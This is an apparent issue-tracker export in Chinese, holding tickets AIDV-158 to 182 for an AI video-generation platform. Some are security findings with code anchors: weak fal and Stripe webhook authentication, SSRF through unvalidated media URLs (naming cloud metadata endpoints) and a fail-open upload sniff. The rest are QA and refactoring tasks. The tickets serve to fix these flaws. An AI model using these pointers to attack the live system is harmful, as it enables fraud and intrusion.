描述：\*\*來源\*\*：自動資安巡檢循環 C1 (多代理掃描, 2026-06-21)。webhook 維度。 \*\*現場 (prod 真實 env 已交叉比對)\*\*：Railway prod `FAL\_WEBHOOK\_SECRET` = \*\*SET\*\* -> 目前 HMAC 驗章有作用，\*\*無法直接未授權偽造\*\*，但程式碼有四個結構性缺陷，屬「目前被 env 緩解、但脆弱」的高風險： 1. \*\*缺 per-job capability token (與 Suno/Replicate 不一致)\*\* — `server/routes/webhookFal.ts` 的 job 只從攻擊者可控的 `?jobId=<n>` query 解析 (`extractJobId`)，無任何擁有權/真實性綁定。對照 `webhookSuno.ts:157`、`webhookReplicate.ts:98` \*\*兩者都有\*\*

`verifyWebhookToken('suno'/'replicate', id, token)` 雙層防護；FAL 從未加 token 層（所有建構 webho

程式碼錨點（12）：

- server/routers/director.ts:2311
- server/routers/proStudio.ts:110
- server/routers/imageStudio.ts:76
- server/routers/videoStudio.ts:75
- server/\_core/env.validated.ts:456
- server/\_core/webhookTokens.test.ts:2
- server/routers.ts:3471
- server/routes/webhookFal.ts:33
- server/routes/webhookFal.ts:56
- server/routes/\_\_tests\_\_/webhookFal.test.ts:25
- server/routes/\_\_tests\_\_/webhookFal.test.ts:399
- server/routes/\_\_tests\_\_/webhookFal.test.ts:498

## AIDV-159 [資安巡檢C1] Stripe webhook 從未計算 HMAC + 先回200再驗（接金流前必修）

漏洞 · 完成 · 優先 Medium · labels auto-patrol,secaudit,security,sev-latent-high,stripe,webhook

描述： \*\*來源\*\*：自動資安巡檢循環 C1 (2026-06-21)。webhook 維度。 \*\*現況風險 = 低,潛在風險 = 高\*\*（誠實標註）：prod `STRIPE\_SECRET\_KEY` = \*\*MISSING\*\*（金流未上線），且 `server/routes/stripeWebhook.ts` 的事件 handler（handleCheckoutSessionCompleted / handleInvoicePaid...）目前都是 \*\*console.log stub、無任何 DB 寫入\*\* -> 今天的爆炸半徑僅「log 偽造」。但這是顯式的 skeleton（檔內 TODO：「建立 userSubscriptions 記錄／解鎖功能／降回 free plan」），一旦補上發放訂閱／點數／解鎖的真實邏輯，這個端點立刻變成「偽造任意付款事件」的提權金流漏洞。 \*\*程式碼缺陷\*\*： 1. `verifyStripeSignature`（stripeWebhook.ts:23-46）在 `STRIPE\_WEBHOOK\_SECRET` 空時 `re

連結資料表（1）： user\_subscriptions

程式碼錨點（6）：

- server/\_core/env.validated.ts:423
- server/routes/stripeWebhook.ts:5
- server/routes/stripeWebhook.ts:15
- server/routes/stripeWebhook.ts:47
- server/routes/\_\_tests\_\_/stripeWebhook.test.ts:2
- server/routes/\_\_tests\_\_/stripeWebhook.test.ts:85

## AIDV-160 [QA探查] 選 Mock \$0 引擎，生成卻自動回退付費 hf 並可能扣點——創作者最在意的「選免費卻被偷扣」紅線

漏洞 · 進行中 · 優先 High · labels cost-consent,creator-blocker,qa-explore,video

描述： > 由「瀏覽器 QA 探查機器人」在 https://director.today/video 探查發現（原 F4），經 \*\*4 創作者人格多代理評估後升為最高創作者影響\*\*：四人格中三位逐條判 \_blocker\_、情緒最激烈——「我特地選免費的 \$0 就是不想花錢，它卻偷偷換成付費引擎還動我的點數，看到一次就再也不敢按。」這是最會讓人 \*\*當場流失\*\* 的紅線。 ## 白話 成本階梯有四個引擎可選：HF / Gemini / fal / \*\*Mock \$0\*\*。我刻意點「Mock \$0」（免費）設為當前引擎，再按「生成就緒鏡（3）」。結果跳出一句英文 toast「自動回退 provider：mock -> hf」，系統\*\*自作主張把我選的免費引擎換成付費的 hf\*\*（\$0.012/鏡）就直接生成了，沒問過我。對怕花錢的創作者，這是信任崩盤點。## 重現步驟 1. 進 /video -> 選專案「2」。2. 上方「成本階梯」點「Mock \$0」設為當前引擎。3. 按「生成就緒鏡（3）」。4. 觀察：toast「自動回退 provider：mock

程式碼錨點（28）：

- client/src/components/social/GenerationConsole.tsx:24
- client/src/components/social/GenerationConsole.tsx:62
- client/src/components/social/GenerationConsole.tsx:67
- client/src/components/social/GenerationConsole.tsx:79
- client/src/shells/settings/panels/ProviderPanel.tsx:25
- client/src/shells/settings/panels/ProviderPanel.tsx:47
- client/src/shells/settings/panels/ProviderPanel.tsx:75
- client/src/shells/settings/panels/ProviderPanel.tsx:108
- client/src/shells/video/drawers/ModelCatalog.tsx:26
- client/src/shells/video/drawers/ModelCatalog.tsx:129
- client/src/shells/video/drawers/FlowTv.tsx:26
- client/src/shells/video/drawers/FlowTv.tsx:99
- client/src/shells/video/canvas/AssetGenCanvas.tsx:72
- client/src/shells/video/canvas/AssetGenCanvas.tsx:78
- client/src/shells/video/canvas/AssetGenCanvas.tsx:87
- client/src/shells/video/canvas/AssetGenCanvas.test.tsx:72
- client/src/adapters/generation.guardOff.test.ts:2
- client/src/adapters/costTier.ts:2
- client/src/adapters/genErrorToast.ts:2
- client/src/adapters/generation.costConsent.test.ts:2
- client/src/adapters/genErrorToast.test.ts:2
- client/src/adapters/generation.trpc.ts:35
- client/src/adapters/generation.trpc.ts:162
- client/src/adapters/types.ts:51
- client/src/adapters/types.ts:110
- client/src/spine/ProjectSpineProvider.tsx:198
- client/src/spine/ProjectSpineProvider.tsx:202
- client/src/spine/ProjectSpineProvider.tsx:234

## AIDV-161 [opt] loadProject 跨專案資料混入：worldStoryboard.list 不吃輸入回該使用者全部分鏡

任務 · 完成 · 優先 High · labels data-boundary,duplicate,frontend,retracted

描述：### 工作表 — loadProject 跨專案資料混入 \*\*來源\*\*：aidv-optimize cycle 2026-06-21 (全端掃描；主迴圈已對 HEAD 實證) \*\*範圍\*\*：修`loadProject` 載入分鏡時跨專案混入——`worldStoryboard.list` 回該使用者\*\*全部\*\*分鏡，未依當前專案過濾。 \*\*證據 (HEAD 實證)\*\* \* `client/src/spine/projectGateway.ts:113` 送 `client.worldStoryboard.list.query({ projectId: id })`。 \* `server/routers/worldStoryboard.ts:119` `list:protectedProcedure.query(({ctx}) => getWorldStoryboardsByUser(ctx.user.id))` — \*\*不吃任何輸入\*\*，註解明載「列出當前使用者的所有分鏡」；送進去的`projectId`被忽略。 \* 根因：`projoe`

程式碼錨點 (6)：

- client/src/spine/\_\_tests\_\_/\_projectGateway.loadProject.test.ts:2
- client/src/spine/\_\_tests\_\_/\_projectGateway.loadProject.test.ts:4
- client/src/spine/\_\_tests\_\_/\_projectGateway.loadProject.test.ts:51
- client/src/spine/projectGateway.ts:10
- client/src/spine/projectGateway.ts:140
- client/src/spine/projectGateway.ts:149

## AIDV-162 [opt] spine projectGateway 以 as any 餵未遷移方法 -> 形狀錯誤造成靜默失敗 (寫入沒寫進／讀取永遠 null)

任務 · 完成 · 優先 High · labels duplicate,frontend,retracted,type-safety

描述：### 工作表 — spine projectGateway 型別硬化 (根因卡) \*\*來源\*\*：aidv-optimize cycle 2026-06-21 (全端掃描；對 HEAD 實證) \*\*範圍\*\*：移除 `client/src/spine/projectGateway.ts:90` 的 `getTrpcClient() as unknown as any`，逐一對齊真實 procedure 簽章，修掉 tsc 抓不到的靜默失敗。姊妹卡 \[AIDV-161\] 處理其中的跨專案讀取。 \*\*根因\*\*：`projectGateway.ts:90` `const client = getTrpcClient() as unknown as any` -> 對下列方法的 input/output 形狀錯誤，\*\*編譯期完全看不到\*\*，執行期靜默失敗 (與 §3.5 報告已修的 createPromptBlock 同類)。 \*\*逐項缺口 (HEAD 實證，需逐一對真實簽章)\*\* \* `saveVaultState` -> `vault.update`

程式碼錨點 (9)：

- client/src/spine/\_\_tests\_\_/\_projectGateway.shapes.test.ts:2
- client/src/spine/\_\_tests\_\_/\_projectGateway.shapes.test.ts:4
- client/src/spine/\_\_tests\_\_/\_projectGateway.shapes.test.ts:60
- client/src/spine/ProjectSpineProvider.tsx:297
- client/src/spine/ProjectSpineProvider.tsx:348
- client/src/spine/ProjectSpineProvider.tsx:418
- client/src/spine/projectGateway.ts:35
- client/src/spine/projectGateway.ts:112
- client/src/spine/projectGateway.ts:153

## AIDV-163 [opt] spine/前端健壯性：先報成功競態 + 空 catch 吞錯 + N+1 寫入 + 死碼按鈕

任務 · 完成 · 優先 Medium · labels frontend,retracted

描述：### 工作表 — spine/前端健壯性收斂 \*\*來源\*\*：aidv-optimize cycle 2026-06-21 (全端掃描；live-verified) \*\*範圍\*\*：四個獨立但同性質的健壯性缺口，逐項小修。 \*\*缺口 (HEAD 實證)\*\* \* \*\*先報成功競態\*\*：Provider 各 action 先 `toast.success` 再 `await`，且無 `isPending` 去重 -> 失敗也先報成功、可重複觸發。修：先 await 成功再報，pending 期間 disable。 \* \*\*空 catch 吞錯\*\*：spine 多處 `catch {}` 連 `console` 都不留 -> 錯誤完全消失、難除錯。修：至少 `console.error` + 必要時使用者出口。 \* \*\*N+1 序列化寫入\*\*：`director.createPlanningMilestones` 對 milestones \*\*逐筆 await\*\* -> 慢。修：批寫或 `Promise.all` (注意 DB 連線上限)。 \* \*\*死碼按鈕\*\*

程式碼錨點：(碼中無 AIDV-163 註記)

## AIDV-164 [opt] Fal 派發碎片化收斂：image/audio/video router 各包 falQueueSubmit -> 統一走 falDispatcher

任務 · Backlog · 優先 Medium · labels backend,opt-card,待議

描述：### 工作表 — Fal 派發單一介面收斂 \*\*來源\*\*：aidv-optimize cycle 2026-06-21 (全端掃描；live-verified) \*\*範圍\*\*：把三個 modality router 各自重複的 fal 佇列派發收斂到單一 `falDispatcher`。 \*\*證據 (HEAD 實證)\*\* \* `dispatchFalQueueTask` / `falDispatcher.ts` 已存在，但 `falQueueSubmit`／`falQueueRun` 仍重複出現在 `server/routers/imageStudio.ts`、`proStudio.ts`、`videoStudio.ts` 各包一層 -> header/webhook URL/error wrap \*\*重複四份\*\* (盤點 docs/audits/全站生成管線盤點-2026-05-15.md A.8 #1 標 [P0])。 \* 附帶：`background\_jobs` 與 `generation\_history` 無外鍵、舊 job 無 TTL -> 長期

連結資料表 (2)：background\_jobs, generation\_history

程式碼錨點：(碼中無 AIDV-164 註記)

## AIDV-165 [QA探查] 整個 AI 文字生成層壞掉：LLM 模型設成失效的 Perplexity「sonar-reasoning-pro」(400 invalid\_model) -> 生成腳本 + 導演對話雙雙 500

漏洞 · 完成 · 優先 Highest · labels P1,qa-explore,video

描述：> 由「瀏覽器 QA 探查機器人」實際在 https://director.today/video 模擬創作者操作時發現。嚴重度 \*\*P1 (兩個主要創作入口同時壞掉)\*\*。這很可能是 AIDV-157 導演對話 500 一直修不好的真正根因。 ## 白話 (給工程小白) 這站靠 AI 幫創作者「寫腳本、跟導演對話」。我這輪實測發現：\*\*只要是要 AI 產生文字的功能，全部失敗\*\*。 \* 在「腳本」分頁按「生成腳本初稿」-> 直接跳紅字失敗。 \* 在「導演對話」打字送出 -> AI 永遠不回 (後台 500)。 點開那個失敗訊息，裡面寫的是：\*\*系統去呼叫 Perplexity 這家 AI，但用的模型名字「perplexity/sonar-reasoning-pro」已經失效了\*\*，Perplexity 直接回「這個模型不存在 (400 invalid\_model)」」。等於我們程式裡寫死了一個過期的模型名稱，導致每一次 AI 文字生成都被對方拒絕。 \*\*換句話說：不是某一個按鈕壞，是整層 AI 文字大腦接錯線。 \*\* ## 重現步驟 1. 進 /video ->

程式碼錨點 (1)：

- server/llm-perplexity-model-fallback.test.ts:2

## AIDV-166 [opt] fal 預扣款競態：先扣點再送 fal，submit transient 失敗有白扣風險（改 hold/凍結模型）

任務 · Backlog · 優先 Medium · labels backend,billing,decision,opt-card,待議

描述：> 白話：使用者按下生成時系統「先扣點數、再送 fal」。若送 fal 中途瞬斷（網路/逾時），程式雖然有在 catch 裡退點，但只要退點那條路徑漏掉或自己又失敗，使用者就「付了錢沒拿到東西」。prod 已接真 MySQL，扣的是真點數，這條紅線要收。  
\*\*來源\*\*：全站生成管線盤點 \$A.8 致命#2；對 HEAD 實證。 \*\*對 HEAD 驗證（仍成立）\*\*：`server/routers/proStudio.ts:69` `chargeForFalTask` -> 立即 `deductUserPoints`；退點只在各呼叫點 catch 內 best-effort `refundUserPoints` (:578/:608/:632...)。註解自承「若送出失敗，呼叫端應用 refundUserPoints 退回」= 典型 deduct-first 競態，退點路徑一旦漏接即白扣。 ### §3 工作表 \* \*\*範圍（一句）\*\*：把「先扣點再送 fal」改為「下 hold/凍結 -> fal submit 成功才正式扣點 -> 失敗或 timeout 自

程式碼錨點：（碼中無 AIDV-166 註記）

## AIDV-167 [opt] Stripe webhook 事件處理器仍空殼：付費開通/續期/降級從未落地（AIDV-159 只修了簽章）

任務 · Backlog · 優先 Medium · labels backend,billing,decision,opt-card,stripe,待議

描述：> 白話：上一張卡（AIDV-159）只把 Stripe 通知的「簽章驗證」修真了（以前永遠 return true）。但收到通知後「該幫使用者開通付費／續期／降級」的實際動作，目前還是空的 console.log，等於錢收了、權限沒給。接金流前必補。  
\*\*來源\*\*：活程式碼全端掃描；與 AIDV-159 互補（非重複）。 \*\*對 HEAD 驗證\*\*：`server/routes/stripeWebhook.ts` 多個事件分支（checkout.session.completed / invoice.paid / customer.subscription.updated/deleted...）仍為 console.log 佔位，無實際開通/降級邏輯落地到使用者方案/點數。 ### §3 工作表 \* \*\*範圍（一句）\*\*：為 Stripe 各事件補上真正的開通/續期/降級落地（更新使用者方案 + 點數/額度），冪等 + 對帳。  
已驗證的簽章驗證、成本/點數帳本（AIDV-153 雙分錄 + idempotency）、RB

程式碼錨點：（碼中無 AIDV-167 註記）

## AIDV-168 [opt] 生成輸入 URL 未驗證的 SSRF 面：director firstFrameUrl/sourceVideoUrl 為 z.string() 直送 fal

任務 · Backlog · 優先 Medium · labels backend,decision,opt-card,security,ssrf,待議

描述：> 白話：影片生成可帶「來源圖片網址／來源影片網址」。目前後端只檢查它「是字串」，沒檢查是不是合法外部網址，就直接交給 fal 去抓。攻擊者可塞內網位址（如雲端 metadata 端點）誘導伺服器去打 -> 這叫 SSRF。要加「必須是 http(s) 網址 + 來源白名單」。  
\*\*來源\*\*：活程式碼全端/安全掃描。 \*\*對 HEAD 驗證\*\*：`server/routers/director.ts:2107-2108` `firstFrameUrl/sourceVideoUrl: z.string().optional()`；於 :2245-2247 直接灌入 `fallnput.video\_url/image\_url`，無 `.url()`、無 origin allowlist。 ### §3 工作表 \* \*\*範圍（一句）\*\*：把這兩個（及同類）外部 URL 欄位改 `z.string().url()` 並加來源 origin/scheme 白名單，拒絕內網/非 http(s)。 \* \*\*重用既有\*\*：若有上傳取得的 signed URL 慣例（A

程式碼錨點：（碼中無 AIDV-168 註記）

## AIDV-169 [opt] 生成資料完整性：backgroundJobs↔generationHistory 補關聯 + webhook 完成自動補 history + 舊 job TTL

任務 · Backlog · 優先 Medium · labels backend,data-integrity,decision,opt-card,待議

描述：> 白話：背景任務表（backgroundJobs）和生成紀錄表（generationHistory）沒綁在一起。fal 通知「做完了」之後，沒有自動把這筆寫進「生成紀錄」，使用者歷史會缺；而且舊的背景任務永遠不清，會越堆越多。 \*\*來源\*\*：全站生成管線盤點 \$A.8 致命#3。 \*\*對 HEAD 驗證\*\*：`drizzle/schema.ts` 兩表無外鍵關聯；fal webhook 完成 handler 未補建 generation\_history row；background\_jobs 無 TTL/清理。 ### §3 工作表 \* \*\*範圍（一句）\*\*：兩表補外鍵；fal webhook 完成時補建 generation\_history；background\_jobs 加 TTL/清理 job。 \* \*\*重用既有\*\*：既有 fal webhook handler（AIDV-158 範圍內的 `webhookFal.ts`）、生成事件流。 \* \*\*檔案\*\*：`drizzle/schema.ts`、fal webhook 完成回調、清理排程。

連結資料表（2）：[background\\_jobs, generation\\_history](#)

Migration 編號：0067

程式碼錨點：（碼中無 AIDV-169 註記）

## AIDV-170 [opt] Drizzle migration 重複編號（0008/0033/0067）修號 + 補 relations.ts（PG 遷移前置）

任務 · Backlog · 優先 Medium · labels backend,decision,migrations,opt-card,待議

描述：> 白話：資料庫變更檔（migration）有三組撞到同一個編號（0008/0033/0067）；另外 drizzle 的「表關聯定義檔」是空的。這在未來搬去 Postgres、或多人並行加 migration 時會出錯。先把編號理乾淨、把關聯補上。 \*\*來源\*\*：比對與優化報告 §4-7；全站生成管線盤點 §B.5；MEMORY 多代理 rebase 備忘反覆提及撞號。 \*\*對 HEAD 驗證\*\*：`drizzle/` 內 0008/0033/0067 三組重號；`drizzle/relations.ts` = 0 relations。 ### §3 工作表 \* \*\*範圍（一句）\*\*：盤點三組重號的 `journal.json` 登記狀態->重編為唯一遞增序；補 `drizzle/relations.ts` 關聯。 \* \*\*重用既有\*\*：AIDV-17（孤兒 0071-0074 處置）已建立的 migration 治理慣例。 \* \*\*檔案\*\*：`drizzle/0008\_\*`、`0033\_\*`、`0067\_\*`、`drizz

Migration 編號：0008, 0033, 0067, 0071, 0074

程式碼錨點：（碼中無 AIDV-170 註記）

## AIDV-171 [opt] db:push/drizzle migrate 納入 deploy flow 自動化（Railway pre-deploy hook）

任務 · Backlog · 優先 Medium · labels decision,deploy,infra,opt-card,待議

描述：> 白話：每次上線時，資料庫變更要靠人「記得手動跑」。漏跑就會出事。把它變成部署時自動執行。 \*\*來源\*\*：全站生成管線盤點 §B.6（「db:push 沒納入 deploy flow，靠人記得」）。 \*\*對 HEAD 驗證\*\*：無 Dockerfile entrypoint / Railway pre-deploy 自動 migrate；靠手動。 ### §3 工作表 \* \*\*範圍（一句）\*\*：在 Railway pre-deploy hook（或 Dockerfile entrypoint）加 `drizzle-kit migrate`，fail-fast。 \* \*\*重用既有\*\*：AIDV-61（部署回滾 SOP + migration 失敗行為）已建立的失敗處置。 \* \*\*檔案\*\*：Dockerfile / railway 部署設定、package.json scripts。 \* \*\*旗標\*\*：N/A（部署流程）。 \* \*\*設計門\*\*：needs-bruce（碰 prod 部署流程 + migration 行為，須先 Docker 對真 prod

程式碼錨點：（碼中無 AIDV-171 註記）

## AIDV-172 [opt] 四 Compiler 加 schema 驗證 (SSML/prompt length) 防供應商拒收致 job 默默失敗

任務 · Backlog · 優先 Medium · labels backend,generation-pipeline,opt-card

描述： > 白話：把要送給語音/影片/圖片供應商的内容 (如 SSML 標記、prompt 長度) 先檢查格式。現在沒檢查，格式錯時 ElevenLabs 等供應商直接拒收，整個生成任務就「默默失敗」，使用者只看到卡住。 \*\*來源\*\*：全站生成管線盤點 §A.8 中等#6 (+ #4 knowledge\_base 與 compiler API drift)。 \*\*對 HEAD 驗證\*\*：`server/services/{audio,video,voice}Compiler.ts` (及 imageCompiler 若有) 無 boot-time / per-call schema 驗證，無效輸入直接送外部 API。 ### §3 工作表 \* \*\*範圍 (一句)\*\*：四 compiler 加 zod schema 驗證 (SSML 結構、prompt 長度上限)，失敗回明確錯誤而非靜默 job 失敗。 \* \*\*重用既有\*\*：既有 zod、生成事件流的錯誤出口。 \* \*\*檔案\*\*：`server/services/audioCompiler.ts`、`videoCompi`

程式碼錨點：(碼中無 AIDV-172 註記)

## AIDV-173 [opt] 三組生成事件總線合一 (generationEvents + orbChatProgress + orbTaskObserver) -> 單一 GenerationEventBus

任務 · Backlog · 優先 Medium · labels backend,events,opt-card

描述： > 白話：目前生成進度的「廣播」分成三條獨立管道，前端要同時訂三條才看得到完整狀態，容易漏看、狀態不同步。收斂成一條。 \*\*來源\*\*：全站生成管線盤點 §A.8 中等#5。 \*\*對 HEAD 驗證\*\*：`server/generationEvents.ts`、`server/services/orbChatProgress.ts`、`server/services/orbTaskObserver.ts` 三組並存，client 需訂三條。 ### §3 工作表 \* \*\*範圍 (一句)\*\*：三條事件流收斂進單一 GenerationEventBus (或統一 SSE 端點)，client 訂一條即得完整狀態。 \* \*\*重用既有\*\*：三者既有 emit 點；AIDV-13 (SSE 可重連) 若落地可一併對齊。 \* \*\*檔案\*\*：上述三檔 + 前端訂閱處。 \* \*\*旗標\*\*：`UNIFIED\_GEN\_EVENT\_BUS` (預設 OFF 先雙寫並存->驗證->切換，退路 = 舊三路)。 \* \*\*設計門\*\*：auto-pass (純 server + 前端訂閱、分階段向後相容、可

程式碼錨點：(碼中無 AIDV-173 註記)

## AIDV-174 [opt] 抽 useGenerationTask hook 消除四 studio 生成樣板大量複製 (模型下拉/參數/輪詢)

任務 · Backlog · 優先 Medium · labels frontend,opt-card,refactor

描述： > 白話：四個生成頁 (Image/Video/Pro/Studio) 把「選模型、調參數、輪詢進度」這套幾乎一樣的程式各自複製一份，改一處要改四處、容易漏。抽成共用 hook。 \*\*來源\*\*：全站生成管線盤點 §D.1/§D.6#1 (約 19.6K LOC 複製)。 \*\*對 HEAD 驗證\*\*：`client/src/pages/{ImageStudio,VideoStudio,ProStudio,Studio}.tsx` 重複模型下拉/參數 slider/進度輪詢。 ### §3 工作表 \* \*\*範圍 (一句)\*\*：抽 `useGenerationTask(modality, modelId, params)` hook，四 studio 共用，逐頁遷移。 \* \*\*重用既有\*\*：既有 tRPC 生成 procedure、進度事件流。 \* \*\*檔案\*\*：四 studio 頁 + 新 `client/src/hooks/useGenerationTask.ts`。 \* \*\*旗標\*\*：N/A (內部重構，逐頁小 PR)；以視覺回歸確認行為不變。 \* \*\*設計門

程式碼錨點：(碼中無 AIDV-174 註記)

## AIDV-175 [opt] 收斂面板/imageStudio 的 any-cast 為具名型別 (inferRouterOutputs / typed fal 回應)

任務 · Backlog · 優先 Medium · labels backend,frontend,opt-card,type-safety

描述： > 白話：很多地方用 `as any` 把資料形狀「強行放行」，編譯器就抓不到欄位拼錯/缺漏，會像 AIDV-162 那樣造成「靜默寫不進/讀永遠 null」。逐處換成從 router 推導出的具名型別，讓型別錯誤在編譯期就現形。 \*\*與 AIDV-162 (projectGateway as any) 同主題、不同檔案，故獨立追蹤並 link relates。 \*\* \*\*來源\*\*：比對與優化報告 §5-1 (面板 any 收斂) + 活碼掃描 (imageStudio fal 回應)。 \*\*對 HEAD 驗證\*\*：`client/src/shells/{learn,settings}/panels/\*.tsx` 多處 `const x: any = q.data ?? {}`；`server/routers/imageStudio.ts` `extractImageUrl/extractAllImageUrls(raw:any)` 與 30+ 處 `as any` 解析 fal 回應。 ### §3 工作表 \* \*\*範圍 (一句)\*\*：前端面板把 `q.data`

程式碼錨點：(碼中無 AIDV-175 註記)

## AIDV-176 [opt] 前端效能小修：OrbCreationStage 背景輪詢關閉 + apiUsage.getProviderOverview N+1 收斂

任務 · Backlog · 優先 Medium · labels backend,frontend,opt-card,performance

描述： > 白話：兩個小效能漏：①生成進度輪詢就算分頁切到背景也一直每 3 秒打 fal 狀態端點，浪費請求/可能扣量；②API 用量總覽每個 provider 都各發 2 次查詢 (N+1)，provider 一多就慢。 \*\*來源\*\*：活程式碼全端/效能掃描。 \*\*對 HEAD 驗證\*\*： \* `client/src/components/home/OrbCreationStage.tsx:2316,2355` `refetchIntervallnBackground: true`。 \* `server/routers/apiUsage.ts` `getProviderOverview` 每 provider 各 2 查詢。 ### §3 工作表 \* \*\*範圍 (一句)\*\*：①把兩處 `refetchIntervallnBackground` 改 false (或背景拉長間隔)；②`getProviderOverview` 改單一 `IN(...)` group-by。 \* \*\*重用既有\*\*：react-query 既有設定、drizzle 查詢層。 \*

程式碼錨點：(碼中無 AIDV-176 註記)

## AIDV-177 [opt] 建置設定小修：@assets alias 對齊 tsconfig + wouter patch-package postinstall 自動套用

任務 · Backlog · 優先 Low · labels build,opt-card,tooling

描述： > 白話：兩個建置設定小坑：①`@assets` 這個路徑捷徑 vite 認得、但 tsconfig 沒同步，型別檢查找不到；②wouter (路由套件) 有個手改補丁 (patch)，沒設成安裝時自動套用，靠人記得，漏套會讓路由行為怪掉。 \*\*來源\*\*：全站生成管線盤點 §B.2/§B.5/§B.6 (階段1 高 ROI 低風險)。 \*\*對 HEAD 驗證\*\*：`tsconfig.json` paths 缺 `@assets` (vite.config.ts 有)；`patches/wouter@3.7.1.patch` 無 `postinstall` 自動套用。 ### §3 工作表 \* \*\*範圍 (一句)\*\*：tsconfig.compilerOptions.paths 補 `@assets/\*`；裝 patch-package 並加 `postinstall: patch-package`。 \* \*\*重用既有\*\*：既有 vite alias 定義作為對齊來源。 \* \*\*檔案\*\*：`tsconfig.json`、`package.json` (scrip

程式碼錨點：(碼中無 AIDV-177 註記)

## AIDV-178 [opt] qa-explore 多代理 persona 評估輸入綁定防漂移 (finding ID 一致性檢查)

任務 · Backlog · 優先 Medium · labels opt-card,qa-explore,tooling

描述： > 白話：QA 探查技能用多個「創作者人格」代理去評估本輪發現的問題。偶爾代理會引用到「上一輪的標籤/發現」而非本輪的，造成評估漂移、對不上。給它加一道「只准回本輪清單內的 finding」防呆。 \*\*來源\*\*：活程式碼/流程掃描 (aidv-qa-explore 技能)；與 AIDV-102 工作流相關。 \*\*對 HEAD

驗證\*\*：`.claude/skills/aidv-qa-explore/` persona 評估步驟未對每個 persona prompt 顯式注入「本輪 finding ID 清單」並校驗 verdict 的 finding ID ⊆ 輸入。### §3 工作表 \* \*\*範圍（一句）\*\*：本輪 finding ID 顯式注入每個 persona prompt；要求逐 finding 回判；加一致性檢查 (verdict.findingId ⊆ 本輪輸入)，漂移即重跑該 persona。\* \*\*重用既有\*\*：qa-explore 既有多代理 Workflow 結構。\* \*\*檔案\*\*：`.claude/skills/aidv-qa-explore/`

程式碼錨點：（碼中無 AIDV-178 註記）

AIDV-179 [opt] 低風險小修合輯：promptLibrary content 搜尋 + download catch

日誌 + costAnalytics->orbCostGuard + 孤兒頁/過期文件清理

任務 · Backlog · 優先 Low · labels backend,frontend,housekeeping,opt-card

描述：> 白話：一籃子各自很小、風險很低的清理，給實作引擎一條條檢。逐項皆獨立、可單獨小 PR。 \*\*來源\*\*：比對與優化報告 §4-11／活碼掃描／全站生成管線盤點。 \*\*逐項對 HEAD 已驗仍成立。 \*\* ### 清單（逐項驗收，獨立小 PR） 1. \*\*promptLibrary 搜尋擴及 content\*\*（`server/routers/promptLibrary.ts`）：現只 `LIKE title`，擴為 `title LIKE ? OR content LIKE ?`（或加索引）。驗收：用只在 content 出現的詞能搜到。 2. \*\*/api/download 串流中途失敗補結構化日誌\*\*（`server/routes/download.ts:~96`）：catch 內 `console.warn('[download] stream failed',{url,headersSent,err})`，headersSent 後妥善收尾。驗收：模擬中途斷有日誌、不再靜默。 3. \*\*costAnalytics.detectRetryCh

連結資料表（1）：prompt\_library

程式碼錨點：（碼中無 AIDV-179 註記）

AIDV-180 [QA探查R5] 引導式創作「自動拆解」前後端契約不符：前端送 {script}、後端要 segments[] -> HTTP 400，新手第一步即死（非 AIDV-165 LLM 根因）

漏洞 · Backlog · 優先 High · labels P1,contract-mismatch,creator-blocker,onboarding,qa-explore,video

描述：## 白話現象（給工程小白） 新手在 /video 空專案點「\*\*開始引導式創作\*\*」-> 貼一段腳本 -> 按「\*\*自動拆解\*\*」，\*\*立刻失敗\*\*，右下角跳紅色 toast：「腳本拆解失敗（director.analyzeScriptOverview / generateVideoScript）」。這是\*\*新手進站後的第一個動作\*\*，等於一打開就被搞死、完全走不進創作流程。 ## 為什麼這是一張新卡，不是 AIDV-165 的延續 \* AIDV-165（LLM 模型設成失效的 Perplexity -> 400 invalid\_model）\*\*已標完成\*\*。前幾輪以為引導式創作失敗是同一個 LLM 根因。 \* \*\*本輪 R5 用瀏覽器攔截實際請求/回應後，證實根因完全不同\*\*：請求\*\*根本沒進到 LLM\*\*，是在後端輸入驗證（zod）就被擋下。所以 AIDV-165 修好後，這個入口仍然壞——真因在這裡。 ## 後端證據（瀏覽器實際攔截，2026-06-21 R5） 前端實際送出：`` POST /api/trpc/director.analy

程式碼錨點：（碼中無 AIDV-180 註記）

AIDV-181 [QA探查R6] 全站文字 AI 仍給不出實質內容：AIDV-165 修好後 ai.chat 已回 200，但 AI 只回 fallback 錯誤、零分鏡/旁白（疑供應商餘額 402，待決策 + 缺優雅降級）

漏洞 · 完成 · 優先 Highest · labels P1,creator-blocker,decision-needed,qa-explore,text-ai,video

描述：## 白話現象（給工程小白） 這站靠 AI 幫創作者「寫腳本、跟導演/光球對話」。 \*\*AIDV-165（把失效的 Perplexity 模型名修掉）已完成並部署\*\*，本輪回訪確認： \* [完成] \*\*傳輸層真的修好了\*\*：在光球「對話」分頁打字送出，後端 `ai.chat` 已經回 \*\*HTTP 200\*\*（不再是 R1 的 500），訊息也正常顯示——這部分是真的進步。 \* \*\*但 AI 還是「一句有用的話都生不出來」\*\*：送出後光球只回一句罐頭安慰「抱歉，我剛才遇到一點小狀況。請稍等一下再試試～如果問題持續，可以在設定頁檢查 API 設定唷。」 \*\*完全沒有任何分鏡建議、開場旁白等實質內容。 \*\* 白話講 = \*\*水管修好了（不再 500），但水龍頭還是沒水（AI 沒產出） \*\*。創作者點數正常（測試帳號 1379 點全程沒變），卻什麼都生不出來，只能白等。 ## 為什麼這是一張新卡，而不是繼續掛在 AIDV-165 \* AIDV-165 的具體修法（換掉失效模型 `perplexity/sonar-reasoning-pro`、解 invalid\_mo

連結資料表（1）：orb\_conversations

程式碼錨點：（碼中無 AIDV-181 註記）

AIDV-182 [opt] 上傳 signed-URL finalize 內容嗅探 fail-open：Range GET 失敗即放行，偽裝檔可繞過 AIDV-64 縱深防禦

故事 · Backlog · 優先 Medium · labels opt-card,security

描述：> \*\*白話\*\*：大檔改 signed-URL 直傳 R2（AIDV-15）後，位元組不經 Node，所以 AIDV-64 那道「看檔頭真身、擋 .html/.svg/執行檔偽裝成圖片」的嗅探在直傳側缺席。 finalize 用 Range:bytes=0-63 取前 64 bytes 補回，但\*\*取 bytes 失敗時是放行（fail-open） \*\*——只要那一次 Range GET 失敗或 R2 暫時 5xx，整層內容嗅探就被跳過、偽裝物件落庫。 \*\*證據（HEAD 活碼） \*\*：`server/uploadRoute.ts:760-786` \* L762-769 `fetchObjectHeadBytes` catch 後只 `console.warn('content sniff GET failed (allowing upload)')`（L765-766），`headBytes=null` 即跳過 `detectMimeTypeMismatch` 放行。 \* L758-759 註解自承「嗅探失敗不阻擋上傳」。 \* L767 `(sniffErr PR：#946

